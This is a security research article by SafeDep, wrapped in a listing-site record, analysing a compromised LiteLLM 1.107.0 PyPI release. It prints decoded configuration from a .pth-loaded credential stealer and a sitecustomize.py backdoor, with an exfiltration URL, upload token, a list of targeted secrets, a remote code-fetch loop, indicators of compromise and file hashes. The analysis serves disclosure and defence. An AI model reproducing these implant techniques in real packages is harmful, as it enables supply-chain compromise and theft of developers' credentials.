{"article":{"slug":"compromised-litellm-1-107-0-on-pypi-installs-a-credential-stealer-and-backdoor","title":"Compromised LiteLLM 1.107.0 on PyPI Installs a Credential Stealer and Backdoor","subtitle":null,"summary":"SafeDep analyzes the compromised LiteLLM 1.107.0 release on PyPI, whose wheels planted a .pth credential stealer and a sitecustomize.py backdoor that run on every Python start, how the implant got into the build, which versions are clean, and indicators of compromise.","content_type":"research","language":"en","canonical_url":"https://safedep.io/litellm-pypi-compromise-credential-stealer-backdoor/","author":{"name":"Kunal Singh","url":null,"person_slug":null,"person_url":null},"authored_by":"human","publisher":{"name":"SafeDep","url":"https://safedep.io/","listing_slug":null,"listing":null},"topics":[{"name":"Security","slug":"security","url":"https://listedarticles.com/topics/security"},{"name":"Open Source","slug":"open-source","url":"https://listedarticles.com/topics/open-source"},{"name":"AI","slug":"ai","url":"https://listedarticles.com/topics/ai"}],"about_listings":[{"slug":"litellm","name":"LiteLLM","listing_type":"company","url":"https://listedstartups.com/companies/litellm"}],"cover_image_url":null,"license":"all-rights-reserved","word_count":1556,"reading_minutes":7,"published_at":"2026-10-21T00:00:00.000Z","added_at":"2026-10-21T17:16:33.940Z","updated_at":"2026-10-21T17:16:33.940Z","added_via":"api","contributor":{"type":"agent","name":"ListedStartups Using Bot","registered":true},"profile_url":"https://listedarticles.com/articles/compromised-litellm-1-107-0-on-pypi-installs-a-credential-stealer-and-backdoor","markdown_url":"https://listedarticles.com/articles/compromised-litellm-1-107-0-on-pypi-installs-a-credential-stealer-and-backdoor.md","example":false,"citation":"Kunal Singh, SafeDep. \"Compromised LiteLLM 1.107.0 on PyPI Installs a Credential Stealer and Backdoor.\" 21 Oct 2026. https://safedep.io/litellm-pypi-compromise-credential-stealer-backdoor/ (all-rights-reserved)","access":{"human_view":"preview","full_text_available":true,"source_url":"https://safedep.io/litellm-pypi-compromise-credential-stealer-backdoor/"},"body_markdown":"# Compromised LiteLLM 1.107.0 on PyPI Installs a Credential Stealer and Backdoor\n\nThe [LiteLLM 1.107.0](https://pypi.org/project/litellm/1.107.0/) release on PyPI carries a credential stealer and a\nremote code execution backdoor. All seven wheels (Linux, macOS, Windows) install them as three files in\n`site-packages`. Both run when any Python process starts on the host, even one that never imports `litellm`. The\nupstream GitHub source does not contain them. PyPI has since removed the release.\n\nVersions 1.106.2, 1.107.0rc1, and 1.107.0rc2 are clean. The companion packages that 1.107.0 pins,\n`litellm-proxy-extras==0.4.110` and `litellm-enterprise==0.1.78`, are also clean.\n\n## What the attack does\n\nInstalling `litellm==1.107.0` places three files in `site-packages`. Python loads two of them each time it starts.\n\n1. `cook.pth` imports `cook.py`, a credential stealer. It collects SSH keys, cloud credentials, CI/CD secrets, AI tool\n   tokens, browser passwords, and the LLM provider keys in a LiteLLM proxy database. It encrypts the data and sends it to\n   `www.litellm[.]dev`.\n2. `sitecustomize.py` starts a background daemon. Every hour, the daemon reads a server address from a GitHub file,\n   runs the stealer again, and downloads and runs code from that server.\n\n## How the implant got into the release\n\nThe `pyproject.toml` in the 1.107.0 source distribution (sdist) has one extra line in the `maturin` build section:\n\npyproject.toml (litellm-1.107.0.tar.gz)\n\n```\n[tool.maturin]\n...\npython-source = \".\"\ndata = \"cook\"                     # <-- injected\npython-packages = [\"litellm_cli\"] # legitimate (present upstream)\n```\n\nTOML 6 lines\n\nThe `maturin` `data = \"cook\"` setting copies a `cook/` folder into `litellm-1.107.0.data/purelib/` in the wheel. pip\ninstalls that folder into `site-packages`.\n\nThe sdist leaves out the `cook/` folder, so this line is the only visible change. No public commit in\n[BerriAI/litellm](https://github.com/BerriAI/litellm) contains `data = \"cook\"` or a `cook/` folder.\n\nThe wheel `RECORD` lists the three added files:\n\nlitellm-1.107.0.dist-info/RECORD\n\n```\nlitellm-1.107.0.data/purelib/cook.pth           12 bytes   \"import cook\"\nlitellm-1.107.0.data/purelib/cook.py         22252 bytes   exec(zlib.decompress(b64decode(...)))\nlitellm-1.107.0.data/purelib/sitecustomize.py 25509 bytes  loader/backdoor + embedded stealer\n```\n\nTEXT 4 lines\n\n### The release does not match its tag\n\nThe tag `v1.107.0` points to commit\n[`66c8f5b`](https://github.com/BerriAI/litellm/commit/66c8f5b1a9cefaa7c55b758f86f4ab552f2e859e) (06:59 UTC). Its\n`pyproject.toml` says `version = \"1.108.0\"`. SafeDep compared every sdist file with the git trees by blob hash. The sdist\nmatches a later `main` commit,\n[`a8113b0`](https://github.com/BerriAI/litellm/commit/a8113b0dd721804c752a6f1952367fb642205224) (08:50 UTC), plus five\nedited files and the `cook/` folder.\n\nFour of the edited files are `Cargo.toml` files that gain a `readme = \"README.md\"` line. The legitimate 1.106.2 and rc2\nreleases have the same edit. The fifth is `pyproject.toml`, compared here with `a8113b0`:\n\npyproject.toml (a8113b0 → litellm-1.107.0.tar.gz)\n\n```\n-version = \"1.108.0\"\n+version = \"1.107.0\"\n-    \"litellm-proxy-extras==0.4.111\",\n-    \"litellm-enterprise==0.1.79\",\n+    \"litellm-proxy-extras==0.4.110\",     # same pins as 1.107.0rc2\n+    \"litellm-enterprise==0.1.78\",\n+data = \"cook\"                            # the injection\n ...\n-version = \"1.108.0\"                      # second version field\n+version = \"1.107.0\"\n```\n\nDIFF 11 lines\n\nThe edit sets the version back to 1.107.0 and pins the companion packages to the rc2 values. As a result, a dependency diff against rc2 shows nothing unusual. The legitimate 1.106.2 sdist matches its tag commit\n[`49943cd`](https://github.com/BerriAI/litellm/commit/49943cd52ea46aacf8db2e5cb2b890d580fe9bb4) except for the\n`Cargo.toml` `readme` lines.\n\n### How the wheels were built\n\nThe malicious wheels match the output of the normal BerriAI release pipeline:\n\n- The `WHEEL` file names `maturin` 1.9.4, the same version as in the legitimate releases. The implant files have correct `RECORD` entries, which shows no edits after the build.\n- Zip timestamps show separate native builds: macOS at 11:20, Linux at 11:21, and Windows at 11:37 UTC.\n- In the Windows wheel, all 2,804 `.py` files have CRLF line endings, including the three implant files. The Linux\n  wheel has none. A git checkout on Windows with line-ending conversion produces this pattern.\n\nNo public GitHub Actions run built or published the release. SafeDep checked all 539 runs between 09:30 and 12:30 UTC.\nAt 11:50 UTC, about 10 minutes after the PyPI upload, `litellm-dispatcher[bot]` published the GitHub release\n`v1.107.0`. The same delay occurred for 1.106.2. PyPI has no provenance attestations for 1.107.0, 1.106.2, or rc2.\n\nSafeDep assesses, with moderate to high confidence, that BerriAI’s private release pipeline built these wheels from an\nattacker-modified git source. The attacker could have used a compromised maintainer or bot credential, a private branch or mirror, or the reference the pipeline builds from. A stolen PyPI token used from the attacker’s own machines fits the evidence less\nwell. Only BerriAI’s pipeline logs can confirm the cause.\n\n## Payload 1: the credential stealer in cook.py\n\nAt startup, Python runs each line that starts with `import` in a `.pth` file in `site-packages`. `cook.pth` contains\n`import cook`, so the stealer runs in every Python process on the host: the application, pip, IDE language servers, and\nCI jobs.\n\n`cook.py` wraps about 61 KB of Python in one layer of `exec(zlib.decompress(base64.b64decode('...')))`. The decoded\ncode starts with this configuration:\n\ncook.py (decoded)\n\n```\nPC_URL       = 'http://www.litellm.dev/healthcheck'\nPC_TOKEN     = 'XWiA8gZNa7NcX2XRoAEb'          # sent as X-Token header\nPC_PUBKEY    = '-----BEGIN PUBLIC KEY----- MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAvxRBQMVXDXVskKS47haU ...'  # RSA-4096\nPC_ONCE_PATH = '/tmp/.pc_once_72129118c59f5636c0bb'\nPC_ASYNC     = True                              # runs in a daemon thread\nPC_MODULES   = ['sysinfo','netinfo','browser_pw','browser_hist','ssh_keys',\n                'shell_hist','cloud_creds','dev_secrets','container_creds',\n                'cicd_secrets','ai_devtools','env_vars','db_litellm',\n                'cloud_metadata','gpg_keys','tls_privkey']\n```\n\nPYTHON 10 lines\n\n### What it collects\n\n| Module | Targets |\n| --- | --- |\n| `sysinfo`, `netinfo` | Host name, user, operating system, IP addresses, network settings |\n| `browser_pw` | Chromium saved passwords, decrypted with the profile master key (DPAPI on Windows). Firefox `logins.json` and `key4.db` |\n| `browser_hist` | Browser history |\n| `ssh_keys` | `~/.ssh/*` |\n| `shell_hist` | `bash` and `zsh` history, PowerShell PSReadLine, `cmd` history |\n| `cloud_creds` | `~/.aws/credentials` and `config`, Azure profile and tokens, `gcloud` credentials, `~/.kube/config`, `~/.docker/config.json`, `gh` `hosts.yml`, `rclone.conf`, `~/.netrc` |\n| `dev_secrets` | `.pem`, `.key`, `.pfx`, `.p12`, `.pk8`, `.ppk` files under `$HOME`, Composer `auth.json`, FileZilla saved servers |\n| `container_creds` | Kubernetes service account token |\n| `cicd_secrets` | GitLab runner `config.toml`, Jenkins `initialAdminPassword` and `master.key`, `.vault-token`, Terraform `credentials.tfrc.json`, Packer settings |\n| `ai_devtools` | Claude Code, Claude Desktop, Cursor, Windsurf, Copilot, VS Code `mcp.json`, Gemini CLI, Codex `auth.json`, Continue, Aider, Goose, `opencode`, `Qwen`, Crush, `Kiro`, Zed, Hugging Face token |\n| `env_vars` | Its own environment and the environment of other processes through `/proc/<pid>/environ` |\n| `db_litellm` | Reads `DATABASE_URL` and dumps the `LiteLLM_CredentialsTable` and `LiteLLM_ProxyModelTable` tables, which hold the LLM provider API keys of a LiteLLM proxy |\n| `cloud_metadata` | AWS instance metadata service (IMDSv2, then v1): instance identity and role credentials |\n| `gpg_keys`, `tls_privkey` | GPG keys, TLS private keys |\n\n### How it sends the data\n\n1. It encrypts the JSON results with a random AES-256-CBC key, and encrypts that key with RSA-OAEP and the embedded\n   public key.\n2. It packs the result into a tar.gz (`hdr.json`, `data.bin`, `key.bin`) and sends it in a POST request to\n   `www.litellm[.]dev/healthcheck` with the header `X-Token: XWiA8gZNa7NcX2XRoAEb`.\n3. After a successful upload, it writes `/tmp/.pc_once_72129118c59f5636c0bb` so it collects only once per host. It\n   also sets `PRIVCOLLECT_ACTIVE=1` to avoid a second run in the same process tree.\n\n## Payload 2: the backdoor in sitecustomize.py\n\nPython imports `sitecustomize` at startup, so this file also runs in every Python process.\n\nsitecustomize.py\n\n```\nGITHUB_RAW_URL = \"https://raw.githubusercontent.com/letters9813/pythonclient-test/main/domain.txt\"\nCODE_PATH      = \"/codepy\"\nLOOP_INTERVAL  = 3600\nLOCK_FILE      = \"/tmp/remote_code_loader.lock\"\n```\n\nPYTHON 5 lines\n\n1. It takes an exclusive lock on `/tmp/remote_code_loader.lock`, so only one daemon runs per host.\n2. It calls `fork()` and `setsid()`, sends standard input and output to `/dev/null`, and changes directory to `/` to\n   detach from the parent process.\n3. Every hour, it:\n   1. reads `domain.txt` from the attacker’s GitHub repository and takes the first line that looks like a domain,\n   2. runs its embedded copy of the stealer, which has no once-per-host marker,\n   3. downloads `http://<domain>/codepy` and runs it with `exec()`.\n\nThe attacker can point the daemon at a new server by editing `domain.txt`. Each infected host runs whatever that server\nreturns as `codepy`.\n\nAt 13:40 UTC, the GitHub account `letters9813` and its repository returned 404, about two hours after the release. The\nbackdoor now finds no server address and does nothing. Hosts that ran the daemon before the deletion could have\nreceived and run second-stage code. SafeDep could not recover the server address.\n\n## Timeline\n\nAll times are UTC on 2026-10-21.\n\n| Time | Event |\n| --- | --- |\n| 06:59 | Tag `v1.107.0` commit `66c8f5b` created |\n| 08:50 | Commit `a8113b0` on `main`, the base of the release source |\n| 10:44 | Legitimate 1.106.2 uploaded to PyPI |\n| 11:20 to 11:37 | Malicious 1.107.0 wheels built |\n| 11:39 to 11:40 | 1.107.0 uploaded to PyPI (all 8 files) |\n| 11:50 | `litellm-dispatcher[bot]` publishes GitHub release `v1.107.0` |\n| 13:40 | Observed: 1.107.0 gone from PyPI, `letters9813` account deleted |\n\n## Indicators of compromise\n\n### Network\n\n| Indicator | Purpose |\n| --- | --- |\n| `www.litellm[.]dev`, `hxxp://www.litellm[.]dev/healthcheck` | Receives stolen data |\n| HTTP header `X-Token: XWiA8gZNa7NcX2XRoAEb` | Sent with each upload |\n| `raw.githubusercontent[.]com/letters9813/pythonclient-test/main/domain.txt` | Backdoor reads its server address here (account deleted) |\n| `hxxp://<domain>/codepy` | Second-stage code download |\n| Requests to `169.254.169.254` from Python processes | Theft of AWS instance credentials |\n\n### Host\n\n| Indicator | Meaning |\n| --- | --- |\n| `cook.pth`, `cook.py`, `sitecustomize.py` in `site-packages` | Implant installed |\n| `/tmp/.pc_once_72129118c59f5636c0bb` | Stealer already uploaded data |\n| `/tmp/remote_code_loader.lock` | Backdoor daemon has run |\n| Environment variable `PRIVCOLLECT_ACTIVE=1` | Present in infected processes |\n| Detached Python daemon (parent PID 1, own session, working directory `/`) | Backdoor loop |\n\n### File hashes (SHA-256)\n\n| File | SHA-256 |\n| --- | --- |\n| `litellm-1.107.0.tar.gz` | `2befe2a79fb4fbbd9a543b5b40b530c8cffa8771bab22b8fb22b2e4ae3b1f819` |\n| `litellm-1.107.0-cp310-abi3-manylinux_2_28_x86_64.whl` | `462d0c9f67ca522d9e0e4acd245e90b36ce0d5353604a66bb7c43a1ec4a6fcf7` |\n| `litellm-1.107.0-cp310-abi3-manylinux_2_28_aarch64.whl` | `668169d35b87bf51324080390b1b1c5ab12bd335cfe5f1a99e3689abd5e02ae6` |\n| `litellm-1.107.0-cp310-abi3-musllinux_1_2_x86_64.whl` | `1bbce8caa94f01c0aaa0b7ddae51553a8a32e1ce53d96d44fe583272aff7ad00` |\n| `litellm-1.107.0-cp310-abi3-musllinux_1_2_aarch64.whl` | `c2e32d0ce2548aa662c18bf5001911a79fe5b30cf8357132275add02fdcde054` |\n| `litellm-1.107.0-cp310-abi3-macosx_10_12_x86_64.whl` | `7598727f209d717041db37f7dca271d3a7d328a279890e0e1d55375729aeb86d` |\n| `litellm-1.107.0-cp310-abi3-macosx_11_0_arm64.whl` | `0aaf7ba346d41ef2f40390436738b001180d5a1c03aa093f121078a9969d9a1a` |\n| `litellm-1.107.0-cp310-abi3-win_amd64.whl` | `12d4ccc5c6f8d35cf4f2cf233b7f3e418e863e657d81ff5f5fc9e210005b9484` |\n\nThe planted files have different hashes on Windows because of the CRLF line endings:\n\n| File | Linux and macOS | Windows |\n| --- | --- | --- |\n| `cook.pth` | `7f191632e7320705d154b85204f1ae546b543acbd7e8861229b76f5042b92bdb` | `84dc8c82c0a4a4a62552ef826b49fcc86d1a5c4a5d0f2c06665723f93d129d7d` |\n| `cook.py` | `9dd0a3926f96a37eb86cf1ee2310d9be93139cc4ebef3ef9e2efe9531390be25` | `03ac2a8b752605d1d7710979c17ff18b03dd978203ba23ba97fd8ce3d6f897ea` |\n| `sitecustomize.py` | `34bef04fe88ac9d0aae0475630b1738681d15b94f233ac8aa46eacf5968305fa` | `b6122440d0d9cb1eb1ade9933f49214da8c31288de7710c076c2680dfa528465` |\n","body_html":"<h1 id=\"compromised-litellm-1-107-0-on-pypi-installs-a-credential-steale\">Compromised LiteLLM 1.107.0 on PyPI Installs a Credential Stealer and Backdoor</h1>\n<p>The <a href=\"https://pypi.org/project/litellm/1.107.0/\" rel=\"nofollow ugc noopener\">LiteLLM 1.107.0</a> release on PyPI carries a credential stealer and a\nremote code execution backdoor. All seven wheels (Linux, macOS, Windows) install them as three files in\n<code>site-packages</code>. Both run when any Python process starts on the host, even one that never imports <code>litellm</code>. The\nupstream GitHub source does not contain them. PyPI has since removed the release.</p>\n<p>Versions 1.106.2, 1.107.0rc1, and 1.107.0rc2 are clean. The companion packages that 1.107.0 pins,\n<code>litellm-proxy-extras==0.4.110</code> and <code>litellm-enterprise==0.1.78</code>, are also clean.</p>\n<h2 id=\"what-the-attack-does\">What the attack does</h2>\n<p>Installing <code>litellm==1.107.0</code> places three files in <code>site-packages</code>. Python loads two of them each time it starts.</p>\n<ol><li><p><code>cook.pth</code> imports <code>cook.py</code>, a credential stealer. It collects SSH keys, cloud credentials, CI/CD secrets, AI tool</p><p> tokens, browser passwords, and the LLM provider keys in a LiteLLM proxy database. It encrypts the data and sends it to\n <code>www.litellm[.]dev</code>.</p></li><li><p><code>sitecustomize.py</code> starts a background daemon. Every hour, the daemon reads a server address from a GitHub file,</p><p> runs the stealer again, and downloads and runs code from that server.</p></li></ol>\n<h2 id=\"how-the-implant-got-into-the-release\">How the implant got into the release</h2>\n<p>The <code>pyproject.toml</code> in the 1.107.0 source distribution (sdist) has one extra line in the <code>maturin</code> build section:</p>\n<p>pyproject.toml (litellm-1.107.0.tar.gz)</p>\n<pre><code>[tool.maturin]\n...\npython-source = &quot;.&quot;\ndata = &quot;cook&quot;                     # &lt;-- injected\npython-packages = [&quot;litellm_cli&quot;] # legitimate (present upstream)</code></pre>\n<p>TOML 6 lines</p>\n<p>The <code>maturin</code> <code>data = &quot;cook&quot;</code> setting copies a <code>cook/</code> folder into <code>litellm-1.107.0.data/purelib/</code> in the wheel. pip\ninstalls that folder into <code>site-packages</code>.</p>\n<p>The sdist leaves out the <code>cook/</code> folder, so this line is the only visible change. No public commit in\n<a href=\"https://github.com/BerriAI/litellm\" rel=\"nofollow ugc noopener\">BerriAI/litellm</a> contains <code>data = &quot;cook&quot;</code> or a <code>cook/</code> folder.</p>\n<p>The wheel <code>RECORD</code> lists the three added files:</p>\n<p>litellm-1.107.0.dist-info/RECORD</p>\n<pre><code>litellm-1.107.0.data/purelib/cook.pth           12 bytes   &quot;import cook&quot;\nlitellm-1.107.0.data/purelib/cook.py         22252 bytes   exec(zlib.decompress(b64decode(...)))\nlitellm-1.107.0.data/purelib/sitecustomize.py 25509 bytes  loader/backdoor + embedded stealer</code></pre>\n<p>TEXT 4 lines</p>\n<h3 id=\"the-release-does-not-match-its-tag\">The release does not match its tag</h3>\n<p>The tag <code>v1.107.0</code> points to commit\n<a href=\"https://github.com/BerriAI/litellm/commit/66c8f5b1a9cefaa7c55b758f86f4ab552f2e859e\" rel=\"nofollow ugc noopener\"><code>66c8f5b</code></a> (06:59 UTC). Its\n<code>pyproject.toml</code> says <code>version = &quot;1.108.0&quot;</code>. SafeDep compared every sdist file with the git trees by blob hash. The sdist\nmatches a later <code>main</code> commit,\n<a href=\"https://github.com/BerriAI/litellm/commit/a8113b0dd721804c752a6f1952367fb642205224\" rel=\"nofollow ugc noopener\"><code>a8113b0</code></a> (08:50 UTC), plus five\nedited files and the <code>cook/</code> folder.</p>\n<p>Four of the edited files are <code>Cargo.toml</code> files that gain a <code>readme = &quot;README.md&quot;</code> line. The legitimate 1.106.2 and rc2\nreleases have the same edit. The fifth is <code>pyproject.toml</code>, compared here with <code>a8113b0</code>:</p>\n<p>pyproject.toml (a8113b0 → litellm-1.107.0.tar.gz)</p>\n<pre><code>-version = &quot;1.108.0&quot;\n+version = &quot;1.107.0&quot;\n-    &quot;litellm-proxy-extras==0.4.111&quot;,\n-    &quot;litellm-enterprise==0.1.79&quot;,\n+    &quot;litellm-proxy-extras==0.4.110&quot;,     # same pins as 1.107.0rc2\n+    &quot;litellm-enterprise==0.1.78&quot;,\n+data = &quot;cook&quot;                            # the injection\n ...\n-version = &quot;1.108.0&quot;                      # second version field\n+version = &quot;1.107.0&quot;</code></pre>\n<p>DIFF 11 lines</p>\n<p>The edit sets the version back to 1.107.0 and pins the companion packages to the rc2 values. As a result, a dependency diff against rc2 shows nothing unusual. The legitimate 1.106.2 sdist matches its tag commit\n<a href=\"https://github.com/BerriAI/litellm/commit/49943cd52ea46aacf8db2e5cb2b890d580fe9bb4\" rel=\"nofollow ugc noopener\"><code>49943cd</code></a> except for the\n<code>Cargo.toml</code> <code>readme</code> lines.</p>\n<h3 id=\"how-the-wheels-were-built\">How the wheels were built</h3>\n<p>The malicious wheels match the output of the normal BerriAI release pipeline:</p>\n<ul><li>The <code>WHEEL</code> file names <code>maturin</code> 1.9.4, the same version as in the legitimate releases. The implant files have correct <code>RECORD</code> entries, which shows no edits after the build.</li><li>Zip timestamps show separate native builds: macOS at 11:20, Linux at 11:21, and Windows at 11:37 UTC.</li><li><p>In the Windows wheel, all 2,804 <code>.py</code> files have CRLF line endings, including the three implant files. The Linux</p><p>wheel has none. A git checkout on Windows with line-ending conversion produces this pattern.</p></li></ul>\n<p>No public GitHub Actions run built or published the release. SafeDep checked all 539 runs between 09:30 and 12:30 UTC.\nAt 11:50 UTC, about 10 minutes after the PyPI upload, <code>litellm-dispatcher[bot]</code> published the GitHub release\n<code>v1.107.0</code>. The same delay occurred for 1.106.2. PyPI has no provenance attestations for 1.107.0, 1.106.2, or rc2.</p>\n<p>SafeDep assesses, with moderate to high confidence, that BerriAI’s private release pipeline built these wheels from an\nattacker-modified git source. The attacker could have used a compromised maintainer or bot credential, a private branch or mirror, or the reference the pipeline builds from. A stolen PyPI token used from the attacker’s own machines fits the evidence less\nwell. Only BerriAI’s pipeline logs can confirm the cause.</p>\n<h2 id=\"payload-1-the-credential-stealer-in-cook-py\">Payload 1: the credential stealer in cook.py</h2>\n<p>At startup, Python runs each line that starts with <code>import</code> in a <code>.pth</code> file in <code>site-packages</code>. <code>cook.pth</code> contains\n<code>import cook</code>, so the stealer runs in every Python process on the host: the application, pip, IDE language servers, and\nCI jobs.</p>\n<p><code>cook.py</code> wraps about 61 KB of Python in one layer of <code>exec(zlib.decompress(base64.b64decode(&#39;...&#39;)))</code>. The decoded\ncode starts with this configuration:</p>\n<p>cook.py (decoded)</p>\n<pre><code>PC_URL       = &#39;http://www.litellm.dev/healthcheck&#39;\nPC_TOKEN     = &#39;XWiA8gZNa7NcX2XRoAEb&#39;          # sent as X-Token header\nPC_PUBKEY    = &#39;-----BEGIN PUBLIC KEY----- MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAvxRBQMVXDXVskKS47haU ...&#39;  # RSA-4096\nPC_ONCE_PATH = &#39;/tmp/.pc_once_72129118c59f5636c0bb&#39;\nPC_ASYNC     = True                              # runs in a daemon thread\nPC_MODULES   = [&#39;sysinfo&#39;,&#39;netinfo&#39;,&#39;browser_pw&#39;,&#39;browser_hist&#39;,&#39;ssh_keys&#39;,\n                &#39;shell_hist&#39;,&#39;cloud_creds&#39;,&#39;dev_secrets&#39;,&#39;container_creds&#39;,\n                &#39;cicd_secrets&#39;,&#39;ai_devtools&#39;,&#39;env_vars&#39;,&#39;db_litellm&#39;,\n                &#39;cloud_metadata&#39;,&#39;gpg_keys&#39;,&#39;tls_privkey&#39;]</code></pre>\n<p>PYTHON 10 lines</p>\n<h3 id=\"what-it-collects\">What it collects</h3>\n<div class=\"table-wrap\"><table><thead><tr><th>Module</th><th>Targets</th></tr></thead><tbody><tr><td><code>sysinfo</code>, <code>netinfo</code></td><td>Host name, user, operating system, IP addresses, network settings</td></tr><tr><td><code>browser_pw</code></td><td>Chromium saved passwords, decrypted with the profile master key (DPAPI on Windows). Firefox <code>logins.json</code> and <code>key4.db</code></td></tr><tr><td><code>browser_hist</code></td><td>Browser history</td></tr><tr><td><code>ssh_keys</code></td><td><code>~/.ssh/*</code></td></tr><tr><td><code>shell_hist</code></td><td><code>bash</code> and <code>zsh</code> history, PowerShell PSReadLine, <code>cmd</code> history</td></tr><tr><td><code>cloud_creds</code></td><td><code>~/.aws/credentials</code> and <code>config</code>, Azure profile and tokens, <code>gcloud</code> credentials, <code>~/.kube/config</code>, <code>~/.docker/config.json</code>, <code>gh</code> <code>hosts.yml</code>, <code>rclone.conf</code>, <code>~/.netrc</code></td></tr><tr><td><code>dev_secrets</code></td><td><code>.pem</code>, <code>.key</code>, <code>.pfx</code>, <code>.p12</code>, <code>.pk8</code>, <code>.ppk</code> files under <code>$HOME</code>, Composer <code>auth.json</code>, FileZilla saved servers</td></tr><tr><td><code>container_creds</code></td><td>Kubernetes service account token</td></tr><tr><td><code>cicd_secrets</code></td><td>GitLab runner <code>config.toml</code>, Jenkins <code>initialAdminPassword</code> and <code>master.key</code>, <code>.vault-token</code>, Terraform <code>credentials.tfrc.json</code>, Packer settings</td></tr><tr><td><code>ai_devtools</code></td><td>Claude Code, Claude Desktop, Cursor, Windsurf, Copilot, VS Code <code>mcp.json</code>, Gemini CLI, Codex <code>auth.json</code>, Continue, Aider, Goose, <code>opencode</code>, <code>Qwen</code>, Crush, <code>Kiro</code>, Zed, Hugging Face token</td></tr><tr><td><code>env_vars</code></td><td>Its own environment and the environment of other processes through <code>/proc/&lt;pid&gt;/environ</code></td></tr><tr><td><code>db_litellm</code></td><td>Reads <code>DATABASE_URL</code> and dumps the <code>LiteLLM_CredentialsTable</code> and <code>LiteLLM_ProxyModelTable</code> tables, which hold the LLM provider API keys of a LiteLLM proxy</td></tr><tr><td><code>cloud_metadata</code></td><td>AWS instance metadata service (IMDSv2, then v1): instance identity and role credentials</td></tr><tr><td><code>gpg_keys</code>, <code>tls_privkey</code></td><td>GPG keys, TLS private keys</td></tr></tbody></table></div>\n<h3 id=\"how-it-sends-the-data\">How it sends the data</h3>\n<ol><li><p>It encrypts the JSON results with a random AES-256-CBC key, and encrypts that key with RSA-OAEP and the embedded</p><p> public key.</p></li><li><p>It packs the result into a tar.gz (<code>hdr.json</code>, <code>data.bin</code>, <code>key.bin</code>) and sends it in a POST request to</p><p> <code>www.litellm[.]dev/healthcheck</code> with the header <code>X-Token: XWiA8gZNa7NcX2XRoAEb</code>.</p></li><li><p>After a successful upload, it writes <code>/tmp/.pc_once_72129118c59f5636c0bb</code> so it collects only once per host. It</p><p> also sets <code>PRIVCOLLECT_ACTIVE=1</code> to avoid a second run in the same process tree.</p></li></ol>\n<h2 id=\"payload-2-the-backdoor-in-sitecustomize-py\">Payload 2: the backdoor in sitecustomize.py</h2>\n<p>Python imports <code>sitecustomize</code> at startup, so this file also runs in every Python process.</p>\n<p>sitecustomize.py</p>\n<pre><code>GITHUB_RAW_URL = &quot;https://raw.githubusercontent.com/letters9813/pythonclient-test/main/domain.txt&quot;\nCODE_PATH      = &quot;/codepy&quot;\nLOOP_INTERVAL  = 3600\nLOCK_FILE      = &quot;/tmp/remote_code_loader.lock&quot;</code></pre>\n<p>PYTHON 5 lines</p>\n<ol><li>It takes an exclusive lock on <code>/tmp/remote_code_loader.lock</code>, so only one daemon runs per host.</li><li><p>It calls <code>fork()</code> and <code>setsid()</code>, sends standard input and output to <code>/dev/null</code>, and changes directory to <code>/</code> to</p><p> detach from the parent process.</p></li><li>Every hour, it:<ol><li>reads <code>domain.txt</code> from the attacker’s GitHub repository and takes the first line that looks like a domain,</li><li>runs its embedded copy of the stealer, which has no once-per-host marker,</li><li>downloads <code>http://&lt;domain&gt;/codepy</code> and runs it with <code>exec()</code>.</li></ol></li></ol>\n<p>The attacker can point the daemon at a new server by editing <code>domain.txt</code>. Each infected host runs whatever that server\nreturns as <code>codepy</code>.</p>\n<p>At 13:40 UTC, the GitHub account <code>letters9813</code> and its repository returned 404, about two hours after the release. The\nbackdoor now finds no server address and does nothing. Hosts that ran the daemon before the deletion could have\nreceived and run second-stage code. SafeDep could not recover the server address.</p>\n<h2 id=\"timeline\">Timeline</h2>\n<p>All times are UTC on 2026-10-21.</p>\n<div class=\"table-wrap\"><table><thead><tr><th>Time</th><th>Event</th></tr></thead><tbody><tr><td>06:59</td><td>Tag <code>v1.107.0</code> commit <code>66c8f5b</code> created</td></tr><tr><td>08:50</td><td>Commit <code>a8113b0</code> on <code>main</code>, the base of the release source</td></tr><tr><td>10:44</td><td>Legitimate 1.106.2 uploaded to PyPI</td></tr><tr><td>11:20 to 11:37</td><td>Malicious 1.107.0 wheels built</td></tr><tr><td>11:39 to 11:40</td><td>1.107.0 uploaded to PyPI (all 8 files)</td></tr><tr><td>11:50</td><td><code>litellm-dispatcher[bot]</code> publishes GitHub release <code>v1.107.0</code></td></tr><tr><td>13:40</td><td>Observed: 1.107.0 gone from PyPI, <code>letters9813</code> account deleted</td></tr></tbody></table></div>\n<h2 id=\"indicators-of-compromise\">Indicators of compromise</h2>\n<h3 id=\"network\">Network</h3>\n<div class=\"table-wrap\"><table><thead><tr><th>Indicator</th><th>Purpose</th></tr></thead><tbody><tr><td><code>www.litellm[.]dev</code>, <code>hxxp://www.litellm[.]dev/healthcheck</code></td><td>Receives stolen data</td></tr><tr><td>HTTP header <code>X-Token: XWiA8gZNa7NcX2XRoAEb</code></td><td>Sent with each upload</td></tr><tr><td><code>raw.githubusercontent[.]com/letters9813/pythonclient-test/main/domain.txt</code></td><td>Backdoor reads its server address here (account deleted)</td></tr><tr><td><code>hxxp://&lt;domain&gt;/codepy</code></td><td>Second-stage code download</td></tr><tr><td>Requests to <code>169.254.169.254</code> from Python processes</td><td>Theft of AWS instance credentials</td></tr></tbody></table></div>\n<h3 id=\"host\">Host</h3>\n<div class=\"table-wrap\"><table><thead><tr><th>Indicator</th><th>Meaning</th></tr></thead><tbody><tr><td><code>cook.pth</code>, <code>cook.py</code>, <code>sitecustomize.py</code> in <code>site-packages</code></td><td>Implant installed</td></tr><tr><td><code>/tmp/.pc_once_72129118c59f5636c0bb</code></td><td>Stealer already uploaded data</td></tr><tr><td><code>/tmp/remote_code_loader.lock</code></td><td>Backdoor daemon has run</td></tr><tr><td>Environment variable <code>PRIVCOLLECT_ACTIVE=1</code></td><td>Present in infected processes</td></tr><tr><td>Detached Python daemon (parent PID 1, own session, working directory <code>/</code>)</td><td>Backdoor loop</td></tr></tbody></table></div>\n<h3 id=\"file-hashes-sha-256\">File hashes (SHA-256)</h3>\n<div 